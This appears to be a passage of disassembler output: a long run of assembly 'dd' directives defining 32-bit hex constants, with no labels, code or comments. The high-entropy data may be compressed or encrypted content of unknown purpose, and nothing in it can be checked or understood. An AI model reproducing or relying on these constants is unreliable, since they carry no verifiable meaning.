		dd 6B54486h, 2CA0101Eh,	8D594EC3h, 76180CBFh, 57719A45h
		dd 97946354h, 0BACEB41Fh, 8CA3778Fh, 0E8061946h, 5F5630F5h
		dd 88A73C11h, 0CDE60901h, 0BDDDC2A3h, 21720898h, 6C98AF22h
		dd 40E93001h, 0C3F56B7Fh, 29E59183h, 7EE18D2Ch,	0D023DBE7h
		dd 0A00B0131h, 18DB3EA4h, 140288AEh, 5701FAB0h,	0D57E42B4h
		dd 79806C56h, 94F7709Ch, 0F800AA1Eh, 1A557A71h,	1E90A028h
		dd 0C52FD0E6h, 61440Ah,	3E3B08CCh, 149A6042h, 1EB40B03h
		dd 7057B1h, 16D16E51h, 0F104E521h, 30A54400h, 54E44BD9h
		dd 0E3C301B2h, 0E72FF8A4h, 32C89141h, 32A00887h, 0AF31F33Eh
		dd 0A0110510h, 2D03FC7Eh, 539689E2h, 0C0B29869h, 29070102h
		dd 1A04DD46h, 77F420B7h, 0BC141C92h, 0FCCC4E43h, 33038C71h
		dd 1C424626h, 56F81864h, 0AFC32165h, 680049B8h,	8AA875B2h
		dd 36344CA6h, 709879C9h, 0A402F246h, 0D5E60C88h, 21107831h
		dd 0F0F88ACh, 801953C4h
		dd 420204DEh, 3E0C183Fh, 544CD8CFh, 60973D30h, 2632F7FCh
		dd 84DC5E5Ch, 80B678D9h, 0D537E09Ch, 6C9BACFAh,	0DB1F3917h
		dd 6C670853h, 320380D8h, 0BC07DA42h, 6B6FC61Ch,	83C5FD48h
		dd 7E793440h, 10A87848h, 0BC01C706h, 40DF9229h,	0F4F09166h
		dd 0A88A680h, 87C5E6h, 6588AE23h, 0DA0085D6h, 72DB306Eh
		dd 50FE6C11h, 742C3CBBh, 0C16B8191h, 3E1982C7h,	0A702554h
		dd 15F90E38h, 16A0627h,	0C303E850h, 5820020Eh, 448940C3h
		dd 0CC810424h, 40211809h, 76C35000h, 425A55F1h,	418D1409h
		dd 57232621h, 44C35F0Eh, 1C627C89h, 0C3574720h,	7E4C38DFh
		dd 74E9B88Eh, 5548760Ch, 0C35D398Ch, 886C8911h,	55458019h
		dd 582B5EC3h, 1AE22903h, 99FABF0Fh, 258C2086h, 0CD0B06E8h
		dd 8D854803h, 0AF898E6Bh, 18BE1026h, 2509E95Fh,	68F41E3Eh
		dd 38B004F2h, 7E5C557Eh, 40F5714Eh, 24294460h, 1A74670h
		dd 4F2E961h, 0B5110A80h, 0FE83B045h, 38E78E01h,	7BA84DBDh
		dd 0C300FA3Bh, 0F1A64FBFh, 0FF074EBAh, 0A8FA3884h, 38A80009h
		dd 0F565C65Dh, 0A7B71D20h, 9E0B401Ch, 45F77816h, 0E7864F00h
		dd 3204C696h, 3CED309Dh, 446D6F52h, 4175E501h, 0DB0D94Ch
		dd 4240AE3Eh, 0AD1D9D96h, 0D85B00C8h, 0B6352E68h, 63005046h
		dd 0B8286EDEh, 1C497E31h, 8A647AEAh, 0E024BC39h, 4EBE3EF5h
		dd 0FC78A700h, 71A51570h, 83B3009Ch, 9D99096Eh,	0C03EEF96h
		dd 81448C07h, 0BA4158h,	0D7D9A350h, 4152CECFh, 98876E02h
		dd 0E16BAB1Bh, 28833C1Fh, 29208F26h, 97A8E7C0h,	0B2704C2Ah
		dd 3E24602Ch, 0BFE45F03h, 0BB2E09F2h, 958CFDDFh, 0D900EA11h
		dd 2E858DAh, 31212897h,	24481A9Ch, 1980170Dh, 0C2B9Bh
		dd 0C9B13D1Ch, 967E6CF2h, 39C52401h, 0A5EC57B8h, 77485389h
		dd 0E8138155h, 0B8B93E78h, 0DD5C5500h, 4E63296Dh, 0B78EEF0Ch
		dd 5E593392h, 220C0048h, 85EC84B2h, 9B985A00h, 46C3A717h
		dd 0A2730EE3h, 24782E8Dh, 3418F89Dh, 431A624Fh,	5A0744Ah
		dd 0B5979F0Fh, 13B5007Ch, 2DDE8CA3h, 5A5CCC1Fh,	0C7F68Eh
		dd 0D7831282h, 9C3500FEh, 93193A74h, 0D137F8CBh, 8BB190D4h
		dd 70E032DFh, 178C60D5h, 4DF363E2h, 80537C3Ah, 24045C79h
		dd 0EA8FA9h, 36B77416h,	0F8D747AAh, 0BA06498h, 0E060B8E1h
		dd 0C232B63Eh, 557D5Eh,	5478DF79h, 1F9A705Fh, 4499B00Ah
		dd 0BF24BB7Dh, 8009BB22h, 0DF3AC624h, 810AC3DAh, 9BA1E85Bh
		dd 8F7B4C80h, 318CA5h, 0D259D5C1h, 0EE5EDCEBh, 9A180700h
		dd 3522EC2Ah, 6EBC00CFh, 0A8421E7Bh, 9D00056Bh,	87E48965h
		dd 13454017h, 0FCFE06Fh, 0DB20C6CFh, 0B0E656D6h, 802BDF06h
		dd 229C762Dh, 0A7403B93h, 53600156h, 309581F1h,	1171E089h
		dd 68D4A112h, 61550D00h, 0CA5A7Bh, 2241E3A5h, 0F31B8A60h
		dd 0EFC25D60h, 6092312Bh, 1D2E114Fh, 9B0C426Dh,	74C94BAEh
		dd 0E50144D1h, 5900247Ah, 7FE7445Dh, 782C9051h,	1F7A00CDh
		dd 62B18601h, 0BC79C9F3h, 5668471Fh, 2B6BDB80h,	0E06152h
		dd 0A1494670h, 0B6299073h, 74F73C00h, 48A56604h, 6D3D03D8h
		dd 8BFB7DC9h, 0DFB28Bh,	564A37Ah, 0A00D4F4h, 30DA4AA9h
		dd 28F972Eh, 8E169B76h,	767D79BDh, 8C25140Bh, 0EF048839h
		dd 0EF9366AAh, 6C0C36FCh, 0B013C209h, 0F100D6ECh, 0DC532292h
		dd 6A7EF5Fh, 6DD839BAh,	559F2724h, 731A5A82h, 88F8F780h
		dd 3502B8EDh, 0BB9DBDAEh, 0CF8FA409h, 80A1A8FAh, 44A6ED5Dh
		dd 0CE275D4h, 0F6529EFDh, 0DA00EBACh, 40C1F2DCh, 13F93AD0h
		dd 0EA6B0A7Ah, 70DA1B0h, 3BB945A4h, 0DDF210CBh,	7F00FC2Dh
		dd 981A070Fh, 0CF5EE28h, 150E0878h, 1B98FEBEh, 0E7CEBB00h
		dd 0FC6CCFF8h, 218C1819h, 4CA7A41Eh, 550005E1h,	0F22AC030h
		dd 0DE0E2CABh, 3C125Bh,	0F6BF9067h, 0A8671409h,	51D76AC6h
		dd 73CEAFD3h, 0A70C001Eh, 0D3E0D646h, 0B900FD6Dh, 98FFEBC4h
		dd 1C582925h, 93481628h, 7A55061Dh, 5F63B57h, 3336651Ah
		dd 0E9AB4010h, 6CA8320Ch, 9D908497h, 6007040h, 3C0D169Ch
		dd 128AE9FAh, 1A47B1Ah,	3A64DFEAh, 0C2CC40E7h, 29FE6857h
		dd 0B11F4890h, 2040380h, 138004B4h, 0EFEDE3Bh, 8C9D108Ah
		dd 841A9984h, 82F9EF00h, 1CA8FC01h, 0D4189B88h,	0AC00E387h
		dd 5DA94D01h, 1CF451DDh, 80BD9284h, 68AE1EA1h, 0A612B897h
		dd 6F002C8Dh, 0F44FE585h, 16B1E865h, 0F7DB61Ah,	0EBE3DC9Fh
		dd 0D6271E0Ah, 9060D5BFh, 0D0001FE0h, 7EB2E79Eh, 7BB68D51h
		dd 169F005Bh, 0C251122h, 562C3FAFh, 0BC01ADC9h,	0DACD6839h
		dd 2C7CE3E4h, 40C77651h, 4D6650C0h, 8D5FEB2Ch, 607E9CBFh
		dd 2982C780h, 4C6956D3h, 6F00E558h, 0AF989E0Eh,	85000126h
		dd 0B6FDADA6h, 49D1C535h, 0D6007CE0h, 479C43EAh, 800B75Eh
		dd 6AD43CBFh, 27D28B90h, 0CAD77161h, 0C40A62BCh, 0FFF34E8Ah
		dd 0EFB42ECBh, 14C71EF8h, 0B5E23724h, 830B07C2h, 1C8766EAh
		dd 10525C2Bh, 7F27FF6Fh, 0EF90E6C5h, 34DDDFh, 0B72FB3B8h
		dd 0D800F713h, 5606E0C1h, 31953BEh, 0F0290C1Bh,	42C3685Eh
		dd 0B724A138h, 0A62F6283h, 488150h, 70713E72h, 5108468Fh
		dd 77C9B973h, 31D58501h, 8B591102h, 84509434h, 8B538106h
		dd 89536A81h, 57C381E3h, 1C106866h, 7F7BE900h, 7C0CFFFCh
		dd 1D4B4600h, 32B84C56h, 0FF184EFEh, 0F5454FD0h, 0E74D006Ah
		dd 363F760Fh, 77002AB8h, 4969E1FAh, 728BF58h, 1EFFBE68h
		dd 0DCA09F08h, 2D384C20h, 1D802700h, 9821446Ch,	0EE3700CCh
		dd 4574FF12h, 8007D06h,	3EA0A24Ah, 3ACD7EA9h, 0C5803D78h
		dd 2F38E833h, 0E1071021h, 19702409h, 518014C4h,	5913299h
		dd 0D7155D77h, 0A89E009Bh, 0F20C8CF6h, 3B9AC307h, 33C0B27Dh
		dd 0E04CDCh, 50F1BC5Eh,	5CF31E56h, 588B3E07h, 0C1411739h
		dd 5622860Fh, 0F8BF1476h, 9449CEBh, 7E822F2h, 2C1EB705h
		dd 21C0217Bh, 0EBBE66h,	858D5FAEh, 615279Dh, 504E90F8h
		dd 51F388FFh, 5E616012h, 6ADC961Fh, 9FE303Ah, 0D908F9BDh
		dd 0C18F4438h, 0DCBED819h, 20C0330Eh, 65056983h, 6019E47Fh
		dd 0EA8EBFB6h, 666A0301h, 8A49D781h, 0F98B62EFh, 5A657D4Bh
		dd 2F215604h, 89C8C35Eh, 15448C74h, 0C3561646h,	0AE05FBCAh
		dd 2308F9EDh, 0C35BC353h, 185C8991h, 5343881Dh,	870FC339h
		dd 0C145FF2Bh, 79111B30h, 4BF27C8Bh, 93855083h,	60D6910h
		dd 267995FFh, 0DB7EC10Ch, 0F99D8D87h, 895E209Ch, 0E4ADB53Ah
		dd 0D2B2D32Dh, 0C83017F2h, 0EFE20C7Ch, 0DA1910E9h, 8069373Ch
		dd 0ED5B6489h, 73EB516h, 0D68D7E4Dh, 0C695C5C3h, 853A79B1h
		dd 81A5E035h, 252AD0E6h, 0DC8671E9h, 5DE055E8h,	9955EDFEh
		dd 52AC91FBh, 22C35A87h, 1A315489h, 0C3524210h,	2BA5FB00h
		dd 0E6F12939h, 0FFE70781h, 6233FD99h, 2F49ADBDh, 416225D0h
		dd 5018878h, 16232B3Ah,	581F2204h, 0BD2A2297h, 0AB922713h
		dd 0C3593051h, 4C5289E4h, 51418427h, 0F85FD880h, 88A09089h
		dd 0E0E381DBh, 4D23E101h, 43301AB2h, 0C17B060Ch, 0F2152A55h
		dd 310825A4h, 322D4585h, 2CE1F1C2h, 237EB40Fh, 97DFD800h
		dd 0C012E9FBh, 59427015h, 48007DC6h, 734BACD5h,	0F9D613h
		dd 0F6C979B0h, 65BD8312h, 6C18FF30h, 0DD11840Fh, 0F6B7813Fh
		dd 818BE9FCh, 95295213h, 8885226Dh, 1A85C75Fh, 7D1DF81Eh
		dd 0EA801911h, 15B3C6B7h, 8FBE2B02h, 6017EBDEh,	2962E754h
		dd 0D92F4AE9h, 33181Ch
		dd 0AAE2990Fh, 0A9FAE14Bh, 0E934BDF2h, 6327C817h, 8352BF08h
		dd 9750D400h, 0F0EB4178h, 4A65222Ch, 0C17A5E00h, 486259A6h
		dd 9AD0268Dh, 2381F903h, 3997FEFFh, 0D7812F37h,	8E0F2945h
		dd 0BD894A40h, 90209A6Dh, 0ED8DF0C3h, 8C66C550h, 78B69BDBh
		dd 0A50972C9h, 0E43AC63Ch, 292002E2h, 7DEF1DDAh, 18096360h
		dd 34205F81h, 0DDA414C7h, 195085F6h, 72418A75h,	0D52BA1A1h
		dd 8A1817D1h, 7AE33818h, 751BD666h, 90EEC97Dh, 0D9E99A81h
		dd 4702350h, 38B3FB58h,	60326380h, 0AAB9005Bh, 1571E30h
		dd 0C8263C27h, 4674F090h, 6F5B001Ch, 0EC9613Ah,	0BCF52884h
		dd 0BB920B9h, 934FE92Ch, 795874A3h, 4CE30CCAh, 7F190AE8h
		dd 0A6108E0Fh, 22D3C17Ah, 26614F36h, 0B05F22C2h, 14913797h
		dd 26D31D8Ah, 17DDC24Bh, 0C070E603h, 0C50379B5h, 8E71E410h
		dd 0C015883Dh, 0E9605E09h, 0AF170560h, 621BABB1h, 0C41703Dh
		dd 0B60F6100h, 142FB2D8h, 4CBA205Ch, 0F6F6E5Ah,	0C03EA10Eh
		dd 0B3A8EE9Ah, 1D0C437h, 0C3921D08h, 1423003Ah,	0BF0BF126h
		dd 69A298F9h, 934B008Ch, 5E26539Ch, 0C102FA8Bh,	0F76604E8h
		dd 70F5DBE2h, 37175C30h, 104EDCBh, 2B050119h, 2F66FD8h
		dd 5093F9FDh, 0F79D4052h, 5A31190Fh, 100E9A58h,	41F427h
		dd 16C87F4Fh, 2F59DD9Ah, 0EF5E330Ah, 0CD40E1E8h, 3E065C51h
		dd 3FFE530Ch, 0BB0935Fh, 8E9141Fh, 2E1B6600h, 35253F51h
		dd 5E8AA039h, 0E0B558FFh, 210A0492h, 9D89012Eh,	0CA80A75h
		dd 0C73FA267h, 601B441Eh, 38872Ah, 0D5926D76h, 9585090Eh
		dd 95622649h, 6DAC26h, 0C43E1A46h, 0E6EA6BCh, 27B9B2C4h
		dd 5F013C09h, 0AD025283h, 92679034h, 96A001C6h,	0AA903950h
		dd 4E7325D1h, 0C01888A5h, 14759F9Eh, 3A60E626h,	122BA03Dh
		dd 7461D98Bh, 882DCB98h, 0C1A8C01Ch, 350279C4h,	23CB8DE5h
		dd 5987E060h, 0DD618122h, 0F0B466C3h, 1CC61C7h,	2AD9ECEAh
		dd 25FCBC01h, 911C6091h, 0B5C91E61h, 0CA923DDh,	181DF99Dh
		dd 1237F3Fh, 0E2B9E30Dh, 20EA078Ah, 80520F9Ch, 0B5230992h
		dd 58392409h, 1988368Eh, 0A5EC56C0h, 0EBA83136h, 402D9BCh
		dd 0C54768Ch, 631970CAh, 40208881h, 0F28B1E01h,	28A4D52h
		dd 26A9282Dh, 1DA52BB9h, 8018113Fh, 80BED1DDh, 547D90A3h
		dd 7083A7FDh, 0D93B04C1h, 40FE860Fh, 0C274D781h, 15225C58h
		dd 20C9987Fh, 0F62C2D99h, 0C091E3C1h, 1638BD4Ch, 0F9362B8Bh
		dd 0D6ADEA14h, 0D34E7960h, 29160A09h, 8A28120h,	5B0F10F5h
		dd 4D37360Fh, 5C84DD7h,	448D8501h, 9BC32BDDh, 4863C0E9h
		dd 317CF4Bh, 0F687D890h, 0FBD17ABFh, 3D2C7058h,	0A6083425h
		dd 833D3F30h, 831751E1h, 5F441AB8h, 0E92C7198h,	0FC5A50h
		dd 7BC9B448h, 5C3058ECh, 89340588h, 0A2EE23C0h,	0B8DE301Ah
		dd 8847C901h, 0F38B7B57h, 0D844DFCBh, 1B88338Eh, 7402AAC0h
		dd 4DA00963h, 15817140h, 0C7585h, 2846DA80h, 88D5C761h
		dd 256D5DE8h, 0D1B75B26h, 23C0102h, 0DFBE90E8h,	1F390259h
		dd 668991E9h, 100F30E1h, 7B042086h, 8D1E00E5h, 0CC306876h
		dd 0EE053B8Bh, 615E507Fh, 0D2C0D70Ah, 1194674h,	112D9EE8h
		dd 0A560331Bh, 704B9CFAh, 9E15185h, 7AB6A2Ah, 0E1ED7CC9h
		dd 0CC81EFE4h, 0C6390561h, 61763741h, 0F81A30E0h, 7E29DC02h
		dd 0CC131B31h, 44D187CCh, 92CF601Ch, 1BC6024Fh,	98945D4Eh
		dd 0F36C93EAh, 4A7020BBh, 0BD090C87h, 9046254Dh, 5F1261B9h
		dd 1523873Ah, 582AAE39h, 9A109260h, 14C20097h, 7CDFA005h
		dd 0E2B1E82Bh, 999F5207h, 5EC1C230h, 0F8033AADh, 55B50B09h
		dd 3D2749AAh, 0ED6E4Eh,	0BF8B30FDh, 0E80BF54Dh,	2C7B28D7h
		dd 198D2EE1h, 0D50CB130h, 1A92620Dh, 0A0D0491h,	32ABBA8Bh
		dd 0DF1B78h, 733AD1C1h,	96FFBEF9h, 0E97D2112h, 0C4E23FD4h
		dd 1458D002h, 0F558E2DBh, 89BF9202h, 9D28CD85h,	80141141h
		dd 47BE502Ch, 229D1202h, 23693A5Fh, 6C560A15h, 34550887h
		dd 0F6B3E904h, 0F9A0B3E7h, 312A3F4h, 5E441DBDh,	8D8EC18Bh
		dd 90C51488h, 0EC4DC1B6h, 93009ABCh, 295AECBDh,	0B609A58Dh
		dd 39F18B18h, 3148D766h, 21D20E6h, 60CABF50h, 8FD8472Eh
		dd 18ABFFE7h, 0FD4DD576h, 9B7A5AD0h, 4A97BB19h,	5812FA3Dh
		dd 4203B689h, 370B0BC7h, 724280E8h, 0A99ABA10h,	986CED0Ah
		dd 0AB27F7CBh, 90296038h, 0C8524C50h, 89310F1Ch, 41D30C8Fh
		dd 16AB2683h, 5EE1F9EBh, 0BE007F2Ch, 42CA79A0h,	0BD242990h
		dd 0ACB4AF01h, 80C3309Bh, 0A2105348h, 5E011E7Dh, 0CA0FBE66h
		dd 0A70E776Ah, 32C06E0h, 91810077h, 6056B851h, 0A134BD2Bh
		dd 4A856619h, 0A061BEB4h, 5E7D95DCh, 3A337510h,	51623D5h
		dd 0E3C846BBh, 40C2484Dh, 275E8999h, 992E4F34h,	0A8141423h
		dd 2E591797h, 2541379Dh, 0E900161Dh, 38BC089Dh,	840BD158h
		dd 7660D88Dh, 309D01F2h, 0BF68144Dh, 8C2F832Bh,	45381E47h
		dd 0FDA741D6h, 799D111Dh, 88B10B0Dh, 0A514C01Ch, 10052AAEh
		dd 3672A082h, 2DA9EF05h, 74D023E2h, 28C18A8h, 0C75A487Ch
		dd 63DAE871h, 0D14A5D00h, 0DD77FF8Dh, 0BB4E4814h, 30496A03h
		dd 82FC3BE7h, 8DA5F123h, 1B2A25Fh, 56AED9F8h, 19C0BD9Fh
		dd 1C27AD3h, 136C6E34h,	79E72E99h, 9FD62D46h, 801D11D3h
		dd 0B6F9F49Fh, 7C1427DBh, 0BD83EC80h, 195E0A26h, 352E4F4Dh
		dd 0E5C06F5Bh, 95291502h, 1843D549h, 0BE23ABE9h, 0FD3C0557h
		dd 1085C744h, 3B5EC53Bh, 1A233Ah, 711E190h, 0EA05AA3Bh
		dd 5880F52h, 18B93800h,	0BC5F7FA1h, 21A84038h, 62006D86h
		dd 0FD735DE7h, 1128B25h, 67CDE644h, 2C52E901h, 8C1AF83Fh
		dd 53D31803h, 9DFD8D2Fh, 2C0A7627h, 1B4676h, 26C94935h
		dd 2C1AC8E3h, 125B0FA0h, 0F898328Dh, 95A58DF3h,	801D9127h
		dd 0FE63EACDh, 0E5E30099h, 8174666Bh, 44172EEFh, 86850367h
		dd 2AEDD904h, 6554C816h, 516E4BD7h, 0F145205h, 8CAF287h
		dd 51195B5h, 0D4CD9D09h, 0B99B3D2h, 0A519B533h,	0E48150EAh
		dd 0D265F47Ah, 1488800Eh, 0C7D20AC5h, 0EDE90120h, 886A4E03h
		dd 0AD3EC01Dh, 0DA02EB63h, 0C40A36B7h, 11F3C1C8h, 0E0B0D992h
		dd 0D9055ED9h, 70E632B7h, 1D184085h, 94820F20h,	55E99436h
		dd 880E83Dh, 0E04AE2F9h, 0A500D1D2h, 5B8A8E19h,	0BFB1F39Bh
		dd 71E49340h, 5E78E493h, 66CF3FD2h, 1A68DE8Bh, 6DCDB842h
		dd 0F9F6DE1h, 0BCC46FAh, 1D7E2EFDh, 0AF3DB642h,	6D8F1080h
		dd 0C9DB11h, 0B3CA29B0h, 241B52Bh, 0A18BED94h, 0B655C604h
		dd 0CE06D421h, 92CD73ADh, 0BF12050h, 662EBC9Eh,	81294BDCh
		dd 217FE4BBh, 6809D9A5h, 91E88BD7h, 8B40A9B9h, 16DC1E3h
		dd 0A6F2B63h, 0DA5EB453h, 17D13A79h, 0B91F0A18h, 0C6C1D1DBh
		dd 272F1B4Fh, 299DF70h,	8976DEF6h, 31CD241Ch, 0B1DC60E0h
		dd 0A42A027Ah, 640CBEA5h, 84BC8A71h, 73CBAFD2h,	500B68E3h
		dd 393DB05Eh, 0F1BED002h, 0EBFE40F9h, 93A190C9h, 0F6A078DCh
		dd 1106AB04h, 9E85F13Eh, 0F1033EC2h, 1E5884Fh, 10136325h
		dd 5522D122h, 68D94792h, 66E68180h, 9143D1A2h, 9D298676h
		dd 4BA15771h, 49128850h, 405F1211h, 0BD31602Dh,	16DD0E09h
		dd 0A96719EEh, 6DB9A4A0h, 985A008Bh, 41560839h,	450135D9h
		dd 0B196E1CFh, 4BC6619Ah, 778A9E29h, 0F11C91BBh, 4FB1819h
		dd 0A0EC8334h, 827085BCh, 0A6FA2FF4h, 45F7BC98h, 0C0F7DB8Dh
		dd 78BF3C93h, 0B2E2D7Ch
		dd 0BC02E093h, 835D4BC7h, 649EC7C1h, 14566017h,	0DA1B51C9h
		dd 0C170E069h, 0ADBD33B1h, 0F55F2B10h, 46747FE4h, 800A0218h
		dd 0D955F37Fh, 38DCACBAh, 8B066C45h, 7BBF8Ah, 63688F65h
		dd 0D9591DF4h, 0C0139488h, 7824B00Eh, 97140044h, 374640CCh
		dd 163F5285h, 8B31968Ch, 0A5B0083h, 0C32BF008h,	0A6E705B7h
		dd 22DDB6D3h, 0BE660332h, 61E9A221h, 0E8B3C34Ch, 0D6008C1Ch
		dd 0DEE026F4h, 1EF9CCh,	28D5BE3Eh, 0C08B0B6Eh, 0DCC9B4h
		dd 333945E7h, 8CB8AB20h, 0F18CE84Bh, 8D951029h,	2588500Ah
		dd 6F5B697Ah, 13E9E246h, 10A5002Bh, 0A9071F37h,	330050F0h
		dd 0B30C7B29h, 0E85A4CFBh, 0ED2D5CE9h, 0D34C904Bh, 305C081Fh
		dd 0C2F732CAh, 80C1DCE8h, 11D3560Ah, 3B005901h,	108712B4h
		dd 0B65F81B9h, 0AF66797Ah, 9373Dh, 0EB69274h, 192530BBh
		dd 0C47F10A3h, 7E4E002Ah, 4822E508h, 0ED7F6C30h, 1E185B05h
		dd 8CB7DA0Fh, 1BE2E552h, 2FE7F30h, 53C9BC9Dh, 0CD60337Dh
		dd 5B3AF05h, 0EE163428h, 6DDD3090h, 1588874Bh, 825B2EC2h
		dd 0E190FFBCh, 7AC27D9Eh, 719960CCh, 0C6D9D31h,	174433A7h
		dd 58973060h, 0C0B1F548h, 88A2BC60h, 5E5D00A8h,	0A6826611h
		dd 0DC1C4D84h, 2718CBECh, 5A59F6E8h, 0AEC6E34h,	0B0870FA6h
		dd 92C0449h, 4351625h, 0E0AC51Fh, 1612160h, 0A6381D8Dh
		dd 49B7B11Eh, 0FAB7F98Bh, 95578280h, 28014208h,	0EC1F8A0Fh
		dd 0B3FA59B7h, 831CDDBCh, 0CCC554E7h, 781FE86Ch, 0C817880h
		dd 0B67DFD1h, 11A55943h, 1085F287h, 474D31F8h, 0F4BECC03h
		dd 136EBAF7h, 527D8D6Ah, 0E0CFF67Dh, 1663DB43h,	4BC7BF9h
		dd 52325E6h, 97EC6EE9h,	6D858904h, 0E75B880Ah, 8B2440F6h
		dd 4674CEC1h, 68EB1915h, 0D255616Ah, 824A6AA3h,	437C2F7Fh
		dd 730B9E4Ah, 24D6627h,	1B02DE81h, 0DDE00BB5h, 0A7250E83h
		dd 37B8957h, 5ECFB8D1h,	0F426E9Eh, 8067EA69h, 0BF3A5551h
		dd 8D0F26E2h, 0BDE9448Eh, 0BC8F0073h, 42980DC3h, 0AD4901F1h
		dd 47248D34h, 62446A7Dh, 0C3241A31h, 0E6B5193Dh, 0E041E14Eh
		dd 0B2E50103h, 8C0F1257h, 0B85267A4h, 7380F54Bh, 3882BF5Fh
		dd 4B5265Ah, 8B34F36Dh,	0C019886Bh, 6CC51EAEh, 0CBE03028h
		dd 4AE77935h, 6A00036Fh, 0C611BEF6h, 0FCA1135Fh, 0F60825C1h
		dd 3878F07Bh, 1AC60C9Ch, 74581BBEh, 5875EE5Bh, 0B1A099B6h
		dd 0D324F28Eh, 4538034Dh, 0A8D16068h, 0D2010EBCh, 0D527205Fh
		dd 0EE41D3FFh, 5D6D1CE5h, 80DA9BD2h, 63D26A1Bh,	284580A6h
		dd 27036080h, 0F219DB5h, 52985h, 0B636E961h, 165C708Bh
		dd 0B9E96080h, 0E5D90026h, 374A9339h, 0D72D8798h, 45739E61h
		dd 22425746h, 0F650699Dh, 752D2E90h, 994C9617h,	181A7116h
		dd 99BA1E59h, 0E225C1E7h, 0D711B529h, 20485C5Ah, 83FC81BAh
		dd 681490BDh, 0B3A592FCh, 7DC0E71Bh, 94D0B25h, 0DCC8D84Bh
		dd 3A1B3B12h, 962B76BDh, 8093D030h, 5AC06E0Bh, 0BCBC8D4Fh
		dd 14AC1F69h, 211E588Ch, 17294110h, 0BB7E44E9h,	68672E00h
		dd 0AA4FC60Bh, 81F8F625h, 1126F7BBh, 25C25B49h,	0F9E08360h
		dd 0F5302FCh, 5A0E8188h, 16238D61h, 9919BF02h, 0F2D13590h
		dd 6D0E6097h, 204E1061h, 56DFFA1Dh, 74739E00h, 0A2B22F52h
		dd 0B592056Eh, 0A161585Fh, 0F14A66E3h, 6E29E9F9h, 3DD53B00h
		dd 3A28817Ch, 9E7D1409h, 44CE8BA8h, 0E15A470Bh,	0E574AD48h
		dd 0A9898217h, 1FC65892h, 82423B00h, 1EE9C2EAh,	45E42Eh
		dd 94E6FDBAh, 0C7B96E2Bh, 56E8660Eh, 99CC325Fh,	61D805BEh
		dd 0C39075B6h, 5E8B5095h, 164ABCB4h, 0D0532DE9h, 63E036B6h
		dd 352E9F5Eh, 0CE061EABh, 385A318Bh, 0DB4EB0FEh, 0B8938798h
		dd 0A1F0C0F1h, 5EE569Eh, 9B70E645h, 364C1ADh, 343B71E4h
		dd 0C66E15Bh, 0F70032F4h, 4981FF87h, 95CDC1Dh, 86F23323h
		dd 1B5198F3h, 2C385A18h, 0AD130B77h, 95F001A6h,	8F3D06C9h
		dd 5ADD9150h, 23BA6A2Ah, 0A99C0119h, 20C6D74Fh,	0C79E83B4h
		dd 0D10D3162h, 628420C0h, 0D82B1381h, 9B704CD3h, 0F791758h
		dd 56F0208Bh, 5F5C6160h, 41BE1E47h, 6DB6092Dh, 1DD3C076h
		dd 5004BB6Eh, 1862C4D4h, 2BD73FE9h, 91523CEh, 0C86D2E6Fh
		dd 55601D64h, 597E708Ah, 2C892704h, 2CECC7CCh, 0E627BB8Fh
		dd 0D23B8065h, 1701A36Ah, 0F3B9B204h, 6D2CB0EFh, 268F924h
		dd 21918501h, 986A3BD4h, 9D1101D6h, 500FF465h, 58413AE9h
		dd 2915B93Ch, 7E2A98F4h, 0B4FD2DDAh, 232F322h, 0F48354h
		dd 0BE39CE7Eh, 0AB1ABF6h, 358D3113h, 4FB66022h,	0ED57412Ah
		dd 12CB789Ah, 0BE342550h, 0F2E09DB6h, 4EE98B3Ch, 0C71688ACh
		dd 49DE5F3h, 8D0561D2h,	8E127BD0h, 9125B1F0h, 9B6A6ACh
		dd 0CEC80AA9h, 0B2932175h, 40714D2Fh, 4F48F7ADh, 0C93B7C0Ah
		dd 17DEAB58h, 0C2B81DCDh, 69D90A16h, 0D8502F91h, 20EE5B03h
		dd 0F5B5314Bh, 8327129Ah, 0EF4FCDC1h, 0E4B04E80h, 8B2D2C82h
		dd 0BA4EAEF2h, 0DCAE7627h, 0CCDD5F00h, 892B2286h, 213D2D95h
		dd 0A9ED6FB2h, 4B2D0840h, 0DE41F732h, 636A2469h, 2F56916Fh
		dd 27F0F026h, 2CCB3A5h,	2505BD89h, 888B63D4h, 7E9BB20Eh
		dd 8D8B8671h, 6116E16Dh, 5DD8C32Bh, 9B37D745h, 9CF8197h
		dd 0F49F93CAh, 3A1A79Dh, 71873FEFh, 68707A36h, 0BA8B0Dh
		dd 0E5E0B3C3h, 27A1C94Ah, 95741C05h, 70B16797h,	2D213741h
		dd 0ADC3C39Eh, 0B8D1DAE8h, 6B85C725h, 427B90EAh, 67BE065Bh
		dd 405561FCh, 93B79Dh, 19A18357h, 0CD624102h, 0B0BC9D4h
		dd 5A924447h, 0C9B0D0A7h, 3A072B10h, 0B0835835h, 0BE988825h
		dd 0C1CF1E81h, 0FF38C52Dh, 885F9A85h, 3087C016h, 0BBECBFF5h
		dd 0B341AC2Dh, 54BEE138h, 0F6936F62h, 2A94A0DAh, 8EAB02BEh
		dd 50EB7584h, 54DB140h,	0BF1DE082h, 0DBE35E35h,	6818815Dh
		dd 60CA3B52h, 0D6279598h, 794FC959h, 71E7F0FEh,	44A2A78Ah
		dd 3E4A6018h, 2E3F3174h, 69C95DC6h, 1F7FB8F3h, 1D3DB53h
		dd 8D0FF2EEh, 2D21BB21h, 30D6C68Ch, 6E0F14E9h, 50001D75h
		dd 39277426h, 2780FCEDh, 6DB2CD71h, 17073741h, 0E00B8E66h
		dd 7823B3F9h, 9A002E82h, 44357E45h, 48718589h, 0C782F533h
		dd 955BAD04h, 71F8EA73h, 2CB83A87h, 962E019Eh, 8B2FC1CAh
		dd 0A24423C1h, 6AFE301Ah, 80A46705h, 0B4A8B509h, 0BC386D80h
		dd 0BA3E835Ah, 335E040Bh, 0A7F111BDh, 7C5E6DEh,	0DE831E44h
		dd 202A404Dh, 1017938h,	0DF5B4EF1h, 3F3A04EBh, 182358h
		dd 512DDEE3h, 369853BCh, 5F802FECh, 99BD3A23h, 2F07ACFh
		dd 0D0A4F7A9h, 10DC1B6h, 94D9F512h, 71585BA3h, 0A5011DE5h
		dd 0DA80E5C9h, 505E1102h, 10566027h, 8DD4B1h, 74D38B44h
		dd 0A19B51F2h, 5E714175h, 5F505239h, 61250D97h,	4B293DB0h
		dd 91F69795h, 470A859Dh, 59E68E55h, 0B51F1D24h,	93A2215Dh
		dd 0E5327888h, 0C2898450h, 6192000h, 75E8EEBFh,	2B9FB644h
		dd 4C9B78EEh, 48877A01h, 50FC98FFh, 5EB6EEBEh, 98B00CF2h
		dd 814A4F29h, 8182E8A0h, 0BF82D1B7h, 5765E7FAh,	0E0535C84h
